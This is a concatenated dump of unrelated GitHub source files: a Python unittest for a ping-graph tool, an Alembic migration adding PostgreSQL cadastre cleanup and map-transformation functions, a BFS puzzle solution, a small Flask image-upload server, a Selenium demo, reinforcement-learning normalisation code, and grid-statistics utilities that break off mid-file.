75]\r\n output1 = ping_gui.axis_limit(arg1, arg2, arg3)\r\n output2 = ping_gui.axis_limit(arg1, arg2, arg4)\r\n\r\n self.assertListEqual(output1, result1)\r\n self.assertListEqual(output2, result2)\r\n\r\n\r\n def test_fill_axis(self):\r\n \"\"\"\r\n Tests the fill axis function\r\n extending, appending and truncating lists\r\n \"\"\"\r\n f = ping_gui.fill_axis\r\n data = range(99)\r\n result = range(100)\r\n output = f(data, 99)\r\n\r\n self.assertListEqual(output, result, msg='problem with appending')\r\n #check that default length is set to 100\r\n self.assertEqual(len(f(range(100), 5)), 100, msg='def length != 100')\r\n #check that first element is removed when maximum length is reached\r\n data = range(50)\r\n result = range(1, 51)\r\n self.assertListEqual(f(data, 50, 50), result, msg='list poping problem')\r\n #check that it can truncate list\r\n data = range(50)\r\n output = f(data, 50, 25)\r\n result = range(25,51)\r\n self.assertListEqual(output, result)\r\n\r\n\r\n def test_list_nan(self):\r\n \"\"\"\r\n Tests the list_nan function\r\n finding all the nan values in a list\r\n \"\"\"\r\n data = [3, nan, 1, 2, nan, 78, nan]\r\n result = [1, 4, 6]\r\n output = ping_gui.list_nan(data)\r\n #check that the output returns the indices of all the nan elements\r\n self.assertIsInstance(output, list, msg='Must return a list')\r\n self.assertEqual(output, result, 'faulty indices')\r\n\r\n\r\n def test_time_diff(self):\r\n \"\"\"\r\n Tests the time diff function.\r\n Subtracts a value from a list of values\r\n \"\"\"\r\n data = [1.0, 2.0, 3.0]\r\n result = [0.0, 1.0, 2.0]\r\n diff = ping_gui.get_time_diff(data, 1.0)\r\n #check that the value 1.0 has been subtracted from each element\r\n self.assertListEqual(diff, result)\r\n\r\n\r\n def test_nan_insert(self):\r\n \"\"\"\r\n Test nan_insert function\r\n Should insert a nan value every 2 elements in a list\r\n \"\"\"\r\n data = range(10)\r\n result = [0, 1, nan, 2, 3, nan, 4,5, nan, 6,7, nan, 8,9]\r\n output = ping_gui.nan_insert(data)\r\n\r\n self.assertListEqual(output, result)\r\n\r\n\r\n def test_nan_line_creator(self):\r\n \"\"\"\r\n test nan_line_creator\r\n \"\"\"\r\n x_data = range(5)\r\n y_data = [1, nan, 3, 1, 2]\r\n x_res = [0, 2]\r\n y_res = [1, 3]\r\n\r\n #short name for the function under test\r\n f = ping_gui.nan_line_creator\r\n #first simple test\r\n x_out, y_out = f(x_data, y_data)\r\n\r\n self.assertListEqual(x_out, x_res)\r\n self.assertListEqual(y_out, y_res)\r\n\r\n #a nan element in the as the first and last element\r\n x_data = range(5)\r\n y_data = [nan, 4, 3, 1, nan]\r\n x_res = [0, 1, nan, 3, 4]\r\n y_res = [4, 4, nan, 1, 1]\r\n\r\n x_out, y_out = f(x_data, y_data)\r\n self.assertListEqual(x_out, x_res)\r\n self.assertListEqual(y_out, y_res)\r\n\r\n #test handling of multiple consecutive nan elements\r\n x_data = range(8)\r\n y_data = [3, nan, nan, nan, 2, nan, nan, 5]\r\n x_res = [0, 4, nan, 4, 7]\r\n y_res = [3, 2, nan, 2, 5]\r\n\r\n x_out, y_out = f(x_data, y_data)\r\n self.assertListEqual(x_out, x_res)\r\n self.assertListEqual(y_out, y_res)\r\n\r\n\r\n #test handling of multiple consecutive nan elements at start\r\n x_data = range(10)\r\n y_data = [nan, nan, nan, nan, 2, nan, nan, 5, nan, nan]\r\n x_res = [0, 4, nan, 4, 7, nan, 7, 9]\r\n y_res = [2, 2, nan, 2, 5, nan, 5, 5]\r\n\r\n x_out, y_out = f(x_data, y_data)\r\n self.assertListEqual(x_out, x_res)\r\n self.assertListEqual(y_out, y_res)\r\n\r\n #test that a single nan element causes no error\r\n x_data = [0]\r\n y_data = [nan]\r\n x_out, y_out = f(x_data, y_data)\r\n\r\n def test_nan_trim(self):\r\n \"\"\"\r\n Tests nan_trim\r\n Removes adjacent nan values\r\n \"\"\"\r\n data = [1, 2, 3, 5, 6, 9]\r\n result = [3, 6, 9]\r\n\r\n output = ping_gui.nan_trim(data)\r\n self.assertListEqual(output, result)\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__' or True:\r\n \r\n tests_to_run = [TestPing, TestMain]\r\n suites_list = []\r\n for test_class in tests_to_run:\r\n suite = unittest.TestLoader().loadTestsFromTestCase(test_class)\r\n suites_list.append(suite)\r\n big_suite = unittest.TestSuite(suites_list)\r\n unittest.TextTestRunner(verbosity=2).run(big_suite)\r\n \r\n #sleep(3)\r\n\r\n\r\n\r\n\r\n\r\n\r\r\n","repo_name":"sixtenbe/ping-graph-tool","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5604,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"34420962347","text":"\"\"\"added functions\n\nRevision ID: f7c7baa76adf\nRevises: 347ca562f469\nCreate Date: 2022-12-05 16:22:41.140963\n\n\"\"\"\nfrom alembic import op\nfrom app.utils.alembic import ReplaceableObject\n\n\n# revision identifiers, used by Alembic.\nrevision = 'f7c7baa76adf'\ndown_revision = '347ca562f469'\nbranch_labels = None\ndepends_on = None\n\nadd_ctcn_svuota_fabbricati = ReplaceableObject(\n \"ctcn.svuota_fabbricati(p_comune text, p_sezione text)\",\n \"\"\"\n RETURNS void\n LANGUAGE plpgsql\n AS $function$\n declare\n i int;\n begin\n -- ***************************************************************************\n -- Descrizione:\n -- Elimina tutti gli elementi dalle tabelle relative ai terreni.\n -- Parametri:\n -- comune: comune da elaborare.\n -- sezione: sezione del comune.\n -- ***************************************************************************\n\n -- metadati\n\n delete from ctcn.metadati where comune = p_comune and sezione = p_sezione and lower(tipo_estr) like '%fabbricati%';\n get diagnostics i = row_count;\n raise info 'cancellate % righe da metadati', i;\n\n if i > 0 then\n \n -- fabbricati\n\n delete from ctcn.cuarcuiu where codice = p_comune and sezione = p_sezione;\n get diagnostics i = row_count;\n raise info 'cancellate % righe da cuarcuiu', i;\n\n delete from ctcn.cuidenti where codice = p_comune and sezione = p_sezione;\n get diagnostics i = row_count;\n raise info 'cancellate % righe da cuidenti', i;\n\n delete from ctcn.cuindiri where codice = p_comune and sezione = p_sezione;\n get diagnostics i = row_count;\n raise info 'cancellate % righe da cuindiri', i;\n\n truncate table ctcn.cuutilit cascade;\n delete from ctcn.cuutilit where codice = p_comune and sezione = p_sezione;\n get diagnostics i = row_count;\n raise info 'cancellate % righe da cuutilit', i;\n\n delete from ctcn.curiserv where codice = p_comune and sezione = p_sezione;\n get diagnostics i = row_count;\n raise info 'cancellate % righe da curiserv', i;\n\n -- titolari\n\n delete from ctcn.ctfisica s\n where s.codice = p_comune and s.sezione = p_sezione\n and exists (\n select soggetto from ctcn.cttitola t where t.codice = s.codice and t.sezione = s.sezione and t.soggetto = s.soggetto and t.tipo_sog = s.tipo_sog and tipo_imm = 'F'\n -- escludo quelli che sono anche titolari di un terreno\n except \n select soggetto from ctcn.cttitola t where t.codice = s.codice and t.sezione = s.sezione and t.soggetto = s.soggetto and t.tipo_sog = s.tipo_sog and tipo_imm = 'T'\n );\n get diagnostics i = row_count;\n raise info 'cancellate % righe da ctfisica', i;\n\n delete from ctcn.ctnonfis s\n where s.codice = p_comune and s.sezione = p_sezione\n and exists (\n select soggetto from ctcn.cttitola t where t.codice = s.codice and t.sezione = s.sezione and t.soggetto = s.soggetto and t.tipo_sog = s.tipo_sog and tipo_imm = 'F'\n -- escludo quelli che sono anche titolari di un terreno\n except \n select soggetto from ctcn.cttitola t where t.codice = s.codice and t.sezione = s.sezione and t.soggetto = s.soggetto and t.tipo_sog = s.tipo_sog and tipo_imm = 'T'\n );\n get diagnostics i = row_count;\n raise info 'cancellate % righe da ctnonfis', i;\n\n delete from ctcn.cttitola where codice = p_comune and sezione = p_sezione and tipo_imm = 'F';\n get diagnostics i = row_count;\n raise info 'cancellate % righe da cttitola', i;\n\n end if;\n --raise exception 'rollback per il test';\n end $function$;\n \"\"\"\n)\n\nadd_ctcn_svuota_terreni = ReplaceableObject(\n \"ctcn.svuota_terreni(p_comune text, p_sezione text)\",\n \"\"\"\n RETURNS void\n LANGUAGE plpgsql\n AS $function$\n declare\n i int;\n begin\n -- ***************************************************************************\n -- Descrizione:\n -- Elimina tutti gli elementi dalle tabelle relative ai terreni.\n -- Parametri:\n -- comune: comune da elaborare.\n -- sezione: sezione del comune.\n -- ***************************************************************************\n\n -- metadati\n delete from ctcn.metadati where comune = p_comune and sezione = p_sezione and lower(tipo_estr) like '%terreni%';\n get diagnostics i = row_count;\n raise info 'cancellate % righe da metadati', i;\n\n if i > 0 then\n \n -- terreni\n \n delete from ctcn.ctpartic where codice = p_comune and sezione = p_sezione;\n get diagnostics i = row_count;\n raise info 'cancellate % righe da ctpartic', i;\n \n delete from ctcn.ctdeduzi where codice = p_comune and sezione = p_sezione;\n get diagnostics i = row_count;\n raise info 'cancellate % righe da ctdeduzi', i;\n \n delete from ctcn.ctriserv where codice = p_comune and sezione = p_sezione;\n get diagnostics i = row_count;\n raise info 'cancellate % righe da ctriserv', i;\n \n delete from ctcn.ctporzio where codice = p_comune and sezione = p_sezione;\n get diagnostics i = row_count;\n raise info 'cancellate % righe da ctporzio', i;\n \n -- titolari\n \n delete from ctcn.ctfisica s\n where s.codice = p_comune and s.sezione = p_sezione\n and exists (\n select soggetto from ctcn.cttitola t where t.codice = s.codice and t.sezione = s.sezione and t.soggetto = s.soggetto and t.tipo_sog = s.tipo_sog and tipo_imm = 'T'\n -- escludo quelli che sono anche titolari di un fabbricato\n except \n select soggetto from ctcn.cttitola t where t.codice = s.codice and t.sezione = s.sezione and t.soggetto = s.soggetto and t.tipo_sog = s.tipo_sog and tipo_imm = 'F'\n );\n get diagnostics i = row_count;\n raise info 'cancellate % righe da ctfisica', i;\n \n delete from ctcn.ctnonfis s\n where s.codice = p_comune and s.sezione = p_sezione\n and exists (\n select soggetto from ctcn.cttitola t where t.codice = s.codice and t.sezione = s.sezione and t.soggetto = s.soggetto and t.tipo_sog = s.tipo_sog and tipo_imm = 'T'\n -- escludo quelli che sono anche titolari di un fabbricato\n except \n select soggetto from ctcn.cttitola t where t.codice = s.codice and t.sezione = s.sezione and t.soggetto = s.soggetto and t.tipo_sog = s.tipo_sog and tipo_imm = 'F'\n );\n get diagnostics i = row_count;\n raise info 'cancellate % righe da ctnonfis', i;\n \n delete from ctcn.cttitola where codice = p_comune and sezione = p_sezione and tipo_imm = 'T';\n get diagnostics i = row_count;\n raise info 'cancellate % righe da cttitola', i;\n end if;\n\n --raise exception 'rollback per il test';\n end $function$\n ;\n \"\"\"\n)\n\nadd_ctmp_trasforma_mappa = ReplaceableObject(\n \"ctmp.trasforma_mappa(comune text, sezione text, foglio text, allegato text, sviluppo text)\",\n \"\"\"\n RETURNS void\n LANGUAGE plpgsql\n AS $function$\n declare\n fname varchar(64) := 'trasforma_mappa';\n -- variabili di appoggio per i parametri\n l_comune text;\n l_sezione text;\n l_foglio text;\n l_allegato text;\n l_sviluppo text;\n -- stato trasformazione\n st_trasf integer := 2;\n -- variabili di appoggio per le trasformazioni\n cp double precision[];\n m double precision[];\n tipo_trasf text;\n table_names text[];\n a text[];\n l text;\n s text;\n table_name text;\n id_name text;\n sql_text text;\n func_name text;\n func_pars text;\n \n arch_from text;\n arch_where text;\n tab_alias text;\n \n i integer;\n r record;\n begin\n -- ***************************************************************************\n -- Descrizione:\n -- Esegue la trasformazione delle geometrie di tutti gli elementi di un \n -- foglio. La tipologia e la matrice vengono prese dalla tabella \n -- trasformazioni ed eseguite in ordine. Se in archivio non esiste una \n -- copia del foglio, prima dell'elaborazione il foglio viene archiviato.\n -- Parametri:\n -- comune: comune del foglio da elaborare.\n -- sezione: sezione del foglio da elaborare.\n -- foglio: numero del foglio da elaborare.\n -- allegato: allegato del foglio da elaborare.\n -- sviluppo: sviluppo del foglio da elaborare.\n -- ***************************************************************************\n raise info '%(%, %, %, %, %)', fname, comune, sezione, foglio, allegato, sviluppo;\n\n -- trasformazioni\n l_comune := comune;\n l_sezione := sezione;\n l_foglio := foglio;\n l_allegato := allegato;\n l_sviluppo := sviluppo;\n -- imposto gli elementi per la seleziona dall'archivio della prima trasformazione\n arch_from := 'from ctmp_a.fogli a ';\n arch_where := ' and t.id = a.id and a.stato = ' || st_trasf;\n tab_alias := 'a';\n -- cerco le trasformazioni\n for r in (\n select t.comune, t.sezione, t.foglio, t.allegato, t.sviluppo, t.n_trasf, \n t.tipo_trasf, t.punti_contr, t.matrice_trasf\n from ctmp.trasformazioni t\n where t.comune = l_comune\n and t.sezione = l_sezione\n and t.foglio = l_foglio\n and t.allegato = l_allegato\n and t.sviluppo = l_sviluppo\n order by t.n_trasf\n )\n loop -- trasformazioni\n raise info 'trovata trasformazione % %', r.n_trasf, r.tipo_trasf;\n\n -- archiviazione\n perform ctmp.archivia_mappa(comune, sezione, foglio, allegato, sviluppo, st_trasf);\n\n cp := r.punti_contr;\n m := r.matrice_trasf;\n tipo_trasf := r.tipo_trasf;\n -- eseguo la trasformazione\n table_names := ARRAY[\n 'fogli,id,t_pt_ins,t_ln_anc,geom',\n 'particelle,id,t_pt_ins,t_ln_anc,geom',\n 'acque,id,t_pt_ins,t_ln_anc,geom',\n 'strade,id,t_pt_ins,t_ln_anc,geom',\n 'fabbricati,id,t_pt_ins,t_ln_anc,geom',\n 'linee_vest,id,geom',\n 'simboli,id,geom',\n 'fiduciali,id,t_pt_ins,geom',\n 'testi,id,geom'\n ];\n if tipo_trasf = 'tps' then\n func_name := 'tps_transform';\n func_pars := '$1, $2';\n elsif tipo_trasf = 'affine' then\n func_name := 'affine_transform';\n func_pars := '$1';\n elsif tipo_trasf = 'move' then\n func_name := 'move_transform';\n func_pars := '$1';\n end if;\n foreach l in array table_names\n loop -- tabelle\n a := string_to_array(l, ',');\n table_name := a[1];\n raise info 'trasformazione tabella %', table_name;\n sql_text := '';\n foreach s in array a[3:array_upper(a, 1)]\n loop\n sql_text := sql_text || format('%s = ctmp.%s(%s.%s, %s), ', s, func_name, tab_alias, s, func_pars);\n end loop;\n sql_text := left(sql_text, -2);\n sql_text := format(\n 'update ctmp.%s t set '\n || sql_text || ' '\n || arch_from\n || 'where t.comune = %L and t.sezione = %L and t.foglio = %L '\n || 'and t.allegato = %L and t.sviluppo = %L'\n || arch_where,\n table_name, l_comune, l_sezione, l_foglio, l_allegato, l_sviluppo\n );\n raise info 'sql_text: %', sql_text;\n\n if tipo_trasf = 'tps' then\n execute sql_text using cp, m; \n else\n execute sql_text using m;\n end if;\n end loop; -- tabelle\n -- reimposto le variabili per le succesive trasformazioni\n if arch_from <> '' then\n arch_from := '';\n arch_where := '';\n tab_alias := 't';\n end if;\n end loop; -- trasformazioni \n\n --raise exception 'rollback per i test';\n end $function$\n ;\n \"\"\"\n)\n\n\ndef upgrade() -> None:\n op.create_sp(add_ctcn_svuota_terreni)\n op.create_sp(add_ctcn_svuota_fabbricati)\n op.create_sp(add_ctmp_trasforma_mappa)\n\n\ndef downgrade() -> None:\n op.drop_sp(add_ctcn_svuota_terreni)\n op.drop_sp(add_ctcn_svuota_fabbricati)\n op.drop_sp(add_ctmp_trasforma_mappa)\n","repo_name":"catasto-open/catasto-db","sub_path":"alembic/versions/f7c7baa76adf_added_functions.py","file_name":"f7c7baa76adf_added_functions.py","file_ext":"py","file_size_in_byte":12539,"program_lang":"python","lang":"it","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"23152399186","text":"import sys\nfrom collections import deque\n\ndx = [-1, 0, 0, 1, -1, -1, 1, 1]\ndy = [0, -1, 1, 0, -1, 1, -1, 1]\n\n\ndef bfs(i, j, visited, graph):\n que = deque()\n que.append((i, j))\n visited[i][j] = 1\n\n while que:\n x, y = que.popleft()\n\n for i in range(8):\n nx = x + dx[i]\n ny = y + dy[i]\n\n if nx < 0 or nx >= height or ny < 0 or ny >= weight:\n continue\n\n if graph[nx][ny] == 1 and visited[nx][ny] == 0:\n que.append((nx, ny))\n visited[nx][ny] = 1\n\n\nwhile 1:\n\n weight, height = map(int, sys.stdin.readline().split())\n if weight == 0 and height == 0:\n exit(0)\n\n graph = []\n visited = [[0] * weight for i in range(height)]\n cnt = 0\n for i in range(height):\n graph.append(list(map(int, sys.stdin.readline().split())))\n\n for i in range(height):\n for j in range(weight):\n if graph[i][j] == 1 and visited[i][j] == 0:\n bfs(i, j, visited, graph)\n cnt += 1\n print(cnt)\n","repo_name":"dawit0905/AlgorithmStudy","sub_path":"python/baekjoon_4963.py","file_name":"baekjoon_4963.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23733081240","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nfrom flask import Flask, url_for, send_from_directory, request\nimport logging, os, sys, time\nfrom werkzeug.utils import secure_filename\nimport requests\n\n\n# In[2]:\n\n\napp = Flask(__name__)\n\n\n# In[3]:\n\n\nPROJECT_HOME = 'C:/Complete_setup/'#os.path.dirname(os.path.realpath(__file__))''\nUPLOAD_FOLDER = '{}/uploads/'.format(PROJECT_HOME)\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n\n# In[4]:\n\n\n@app.route('/', methods=['POST'])\ndef api_root():\n imagefile = request.files['image']\n filename = secure_filename(imagefile.filename)\n print(\"\\n Received image File name : \" + imagefile.filename)\n imagefile.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n \n return requests.get('http://3.22.124.24:80/test').content\n \n\n# In[5]:\n\n\n@app.route('/test')\ndef test():\n from final import foo\n return foo()\n \n\n@app.route('/Exit')\ndef Exit():\n os.execl(sys.executable, os.path.abspath(__file__), *sys.argv)\n\n\n# In[ ]:\n\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=80, debug=False)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"RusPotd/Crop-identification-app","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40996054021","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport time\n\ndriver = webdriver.Chrome(executable_path='./chromedriver_win32/chromedriver.exe')\n\nurl='https://selenium-python.readthedocs.io/locating-elements.html'\n\ntry:\n driver.get(url=url)\n time.sleep(4)\n driver.find_element(By.NAME,\"q\").send_keys(\"some text\")\n time.sleep(5)\nexcept Exception as ex:\n print(ex)\nfinally:\n driver.close()\n driver.quit()","repo_name":"denisamirov/python_for_students","sub_path":"selenium/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2233700263","text":"import tensorflow as tf\nimport numpy as np\n\ndef update_mean_var_count_from_moments(mean, var, count, batch_mean, batch_var, batch_count):\n delta = batch_mean - mean\n tot_count = count + batch_count\n\n new_mean = mean + delta * batch_count / tot_count\n m_a = var * count\n m_b = batch_var * batch_count\n M2 = m_a + m_b + np.square(delta) * count * batch_count / tot_count\n new_var = M2 / tot_count\n new_count = tot_count\n\n return new_mean, new_var, new_count\n\nclass RunningMeanStd:\n def __init__(self, sess, epsilon=1e-4, shape=(), scope=''):\n self._new_mean = tf.placeholder(shape=shape, dtype=tf.float32)\n self._new_var = tf.placeholder(shape=shape, dtype=tf.float32)\n self._new_count = tf.placeholder(shape=(), dtype=tf.float32)\n\n\n with tf.variable_scope(scope, reuse=tf.AUTO_REUSE):\n self._mean = tf.get_variable('mean', initializer=np.zeros(shape, 'float32'), dtype=tf.float32, trainable=False)\n self._var = tf.get_variable('std', initializer=np.ones(shape, 'float32'), dtype=tf.float32, trainable=False)\n self._count = tf.get_variable('count', initializer=np.full((), epsilon, 'float32'), dtype=tf.float32, trainable=False)\n\n self.update_ops = tf.group([\n self._var.assign(self._new_var),\n self._mean.assign(self._new_mean),\n self._count.assign(self._new_count)\n ])\n\n sess.run(tf.variables_initializer([self._mean, self._var, self._count]))\n self.sess = sess\n self._set_mean_var_count()\n\n\n def _set_mean_var_count(self):\n self.mean, self.var, self.count = self.sess.run([self._mean, self._var, self._count])\n\n def update(self, x):\n x = np.asarray(x)\n batch_mean = np.mean(x, axis=0)\n batch_var = np.var(x, axis=0)\n batch_count = x.shape[0]\n\n new_mean, new_var, new_count = update_mean_var_count_from_moments(self.mean, self.var, self.count, batch_mean, batch_var, batch_count)\n\n self.sess.run(self.update_ops, feed_dict={\n self._new_mean: new_mean,\n self._new_var: new_var,\n self._new_count: new_count\n })\n\n self._set_mean_var_count()\n","repo_name":"Osj1614/RLstudy","sub_path":"rl/running_std.py","file_name":"running_std.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11961748926","text":"import numpy as np\n\ndef minibatch_shuffle(X, Y, minibatch_size=64):\n # X.shape = [num_samples, ...]\n # Y.shape = [num_samples, ...]\n num_samples = X.shape[0]\n\n ind = np.random.permutation(num_samples)\n X_shuffle = X[ind, :]\n Y_shuffle = Y[ind, :]\n\n minibatches = []\n\n num_full_size = int(num_samples / minibatch_size)\n for i in range(num_full_size):\n X_mini = X_shuffle[i*minibatch_size : (i+1)*minibatch_size, :]\n Y_mini = Y_shuffle[i*minibatch_size : (i+1)*minibatch_size, :]\n minibatches.append((X_mini, Y_mini))\n if num_samples % minibatch_size != 0:\n X_mini = X_shuffle[num_full_size*minibatch_size : num_samples, :]\n Y_mini = Y_shuffle[num_full_size*minibatch_size : num_samples, :]\n\n return minibatches\n\ndef construct_train_dev(X, Y, train_frac=.9):\n # shape = [num_samples, ...].\n num_samples = X.shape[0]\n num_train = int(num_samples * train_frac)\n ind = np.random.permutation(num_samples)\n X_train = X[ind[:num_train], :]\n Y_train = Y[ind[:num_train], :]\n X_dev = X[ind[num_train:], :]\n Y_dev = Y[ind[num_train:], :]\n return X_train, Y_train, X_dev, Y_dev\n","repo_name":"jaredwood/deeprl","sub_path":"deeprl/data_util/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31828698200","text":"import logging\nimport numpy as np\nimport numpy.ma as ma\nimport math\nfrom .._lib import BoundingBox\nfrom ..core import (HecTime, DssStatusException, GranularityException,ArgumentException,DssLastError,setMessageLevel,squeeze_file) \nfrom ..core import (GRID_TYPE, GRID_DATA_TYPE, GRID_COMPRESSION_METHODS,gridInfo)\nfrom ..core import (check_shg_gridinfo,correct_shg_gridinfo,lower_left_xy_from_transform)\nfrom ..core import Open as _Open\nfrom ..core import (UNDEFINED, SHG_WKT, HRAP_WKT)\nimport atexit\nfrom affine import Affine \n\n__all__ = ['dss_logging','HecTime', 'DssStatusException', 'GranularityException', 'ArgumentException', 'DssLastError','gridInfo','computeGridStats','grid_type_names','grid_data_type_names','UNDEFINED','HRAP_WKT','SHG_WKT','check_gridinfo','BoundingBox','check_shg_gridinfo','correct_shg_gridinfo','lower_left_xy_from_transform']\n\nlog_level = {0: 'None',\n 1: 'Error',\n 2: 'Critical',\n 3: 'General',\n 4: 'Info',\n 5: 'Debug',\n 6: 'Diagnostic'}\n\n_log_level = dict(zip(log_level.values(),log_level.keys()))\n\nlog_method = {0: 'ALL',\n 1: 'VER7',\n 2: 'READ_LOWLEVEL',\n 3: 'WRITE_LOWLEVEL',\n 4: 'READ',\n 5: 'WRITE',\n 6: '_',\n 7: 'OPEN',\n 8: 'CHECK_RECORD',\n 9: 'LOCKING',\n 10: 'READ_TS',\n 11: 'WRITE_TS',\n 12: 'ALIAS',\n 13: 'COPY',\n 14: 'UTILITY',\n 15: 'CATALOG',\n 16: 'FILE_INTEGRITY'}\n\n__dsslog = None\n\n@atexit.register\ndef __close():\n if not __dsslog is None:\n try:\n __dsslog.close()\n except:\n logging.error('Error closing dsslog')\n else:\n logging.debug('dsslog file closed')\n\ndef __init():\n global __dsslog\n if not __dsslog is None:\n from os import path\n dss_file = path.join(path.dirname(__file__),dsslog.dss)\n logging.info('File used to intialize pydsstools messaging is %s',dss_file)\n __dsslog = _Open(dss_file)\n\n__init()\n\nclass DssLogging(object):\n def setLevel(self,level):\n if level in log_level:\n pass\n elif level in _log_level:\n level = _log_level[level]\n else:\n logging.warn('Invalid Dss Logging Level ignored')\n return\n\n logging.warn('***Setting DSS Logging***')\n setMessagelevel(0,level)\n\n def config(self,method=0,level='General'):\n if method in log_method:\n if level in log_level:\n pass\n elif level in _log_level:\n level = _log_level[level]\n else:\n logging.warn('Invalid Dss Logging Level ignored')\n return\n logging.warn('***Setting DSS Logging, Method = %r, Level = %r***', method, level)\n setMessageLevel(method,level)\n else:\n logging.warn('Invalid Dss Logging Method ignored')\n\ndss_logging = DssLogging()\n\ngrid_data_type_names = tuple(GRID_DATA_TYPE.keys())\ngrid_type_names = tuple(GRID_TYPE.keys())\n\ndef computeGridStats(data,compute_range = True):\n \"\"\" Compute statistical value for numpy array data for Spatial grid\n\n Parameter\n ---------\n # data: numpy array or masked array\n # compute_range: boolean, string or list of values\n # boolean - True, False\n # string - quartiles, quarters, TODO\n # list/tuple - list of values (max 19 excluding nodata) to compute equal to greater than cell counts\n \"\"\"\n result = {'min': None, 'max': None, 'mean': None,'range_values':[], 'range_counts': []}\n total_cells = data.size\n\n if total_cells == 0:\n logging.info('Empty Grid Array!')\n return\n\n if isinstance(data,ma.core.MaskedArray):\n data = data[~data.mask]\n data = data._data\n elif isinstance(data,np.ndarray):\n data = data[~np.isnan(data)]\n else:\n raise Exception('Invalid data. Numpy or Masked Array expected.')\n\n min_value = data.min()\n max_value = data.max()\n mean_value = data.mean()\n\n result.update([('min',min_value),('max',max_value),('mean',mean_value)])\n #print(result)\n\n range_values = []\n if isinstance(compute_range,(list,tuple)):\n range_values = sorted([x for x in compute_range if not (np.isnan(x) or x < min_value or x > max_value)])\n \n elif compute_range or isinstance(compute_range,str):\n # default range\n if min_value < 0 and max_value > 0:\n range_values = np.linspace(min_value,max_value,10)\n range_values = range_values.tolist()\n else:\n q0 = min_value\n q1 = 0.25 * (min_value + max_value)\n q2 = 0.5 * (min_value + max_value)\n q3 = 0.75 * (min_value + max_value)\n range_values = [q0,q1,q2,q3]\n range_values = [round(x,2) for x in range_values]\n else:\n pass\n\n range_values = range_values[0:19]\n range_values.insert(0,np.nan)\n range_counts = [total_cells] # assuming no data is very small negative number\n #print(type(data),'data=',data,'\\n')\n #print(range_values,range_counts)\n for val in range_values[1:]:\n count = (data >= val).sum()\n range_counts.append(count)\n \n result.update([('range_values',range_values),('range_counts',range_counts)])\n return result\n\ndef check_gridinfo(grid_info,shape,raise_error = False):\n \"\"\" Checks the grid meta data for consistency and corrects values where necessary\n\n Parameter\n ---------\n grid_info: dict or gridInfo instance\n\n \"\"\"\n grid_info = grid_info.copy()\n default_gridinfo = gridInfo()\n required_params = [x for x in default_gridinfo if not x.startswith('opt')]\n opt_params = [x for x in default_gridinfo if x.startswith('opt')]\n\n for k in required_params:\n if not k in grid_info:\n raise Exception('%s grid info parameter not provided'%k)\n\n for k in opt_params:\n if not k in grid_info:\n grid_info[k] = default_gridinfo[k]\n\n grid_type = grid_info['grid_type']\n if not grid_type in grid_type_names:\n raise Exception('grid_type must be one of %r'%grid_type_names) \n\n if grid_type in ['hrap','hrap-time']:\n logging.debug('WKT CRS for HRAP grid applied')\n grid_info['grid_crs'] = HRAP_WKT\n grid_info['opt_crs_name'] = 'HRAP'\n\n if grid_type in ['shg','shg-time']:\n logging.debug('WKT CRS for SHG grid applied')\n grid_info['grid_crs'] = SHG_WKT\n grid_info['opt_crs_name'] = 'SHG'\n\n if grid_type in ['albers','albers-time']:\n logging.debug('WKT CRS for SHG grid applied')\n grid_info['grid_crs'] = SHG_WKT\n grid_info['opt_crs_name'] = 'AlbersInfo'\n\n transform = grid_info['grid_transform']\n if not isinstance(transform, Affine):\n raise Exception('grid_transform must be Affine instance') \n\n grid_crs = grid_info['grid_crs']\n if not isinstance(grid_crs, str):\n raise Exception('grid coordinate reference must be string type') \n\n data_type = grid_info['data_type']\n if not data_type in grid_data_type_names:\n raise Exception('data_type must be one of %r'%grid_data_type_names) \n\n opt_data_source = grid_info['opt_data_source']\n # I don't know much about this parameter other than it must be char or string type\n if not isinstance(opt_data_source,str):\n logging.debug('Empty data source string used')\n opt_data_source = ''\n\n grid_info['opt_data_source'] = opt_data_source\n\n if grid_type in ['hrap','hrap-time'] and not opt_data_source:\n logging.warn('Invalid data source for HRAP grid provided')\n\n if not isinstance(grid_info['opt_tzid'],str):\n logging.debug('Empty time zone id string used')\n grid_info['opt_tzid'] = ''\n\n if not isinstance(grid_info['opt_tzoffset'],int):\n logging.debug('time offset of 0 used')\n grid_info['opt_tzoffset'] = 0\n\n if not isinstance(grid_info['opt_crs_name'],str):\n grid_info['opt_crs_name'] = 'UNDEFINED'\n\n if not isinstance(grid_info['opt_crs_type'],int):\n grid_info['opt_crs_type'] = 0 # = WKT\n\n if not grid_info['opt_crs_type'] in (0,1,2):\n # 0 = WKT, 1 = PROJ4, 2 = GML\n msg = 'Invalid opt_crs_type value %s used'%(grid_info['opt_crs_type'])\n logging.error(msg)\n if raise_error:\n raise Exception(msg)\n grid_info['opt_crs_type'] = 0 # defaults to WKT if error not raised\n\n if grid_info['opt_is_interval']:\n grid_info['opt_is_interval'] = 1\n else:\n grid_info['opt_is_interval'] = 0\n\n if grid_info['opt_time_stamped']:\n grid_info['opt_time_stamped'] = 1\n else:\n grid_info['opt_time_stamped'] = 0\n\n # check lower_left_x and lower_left_y indices\n ll_x1 = 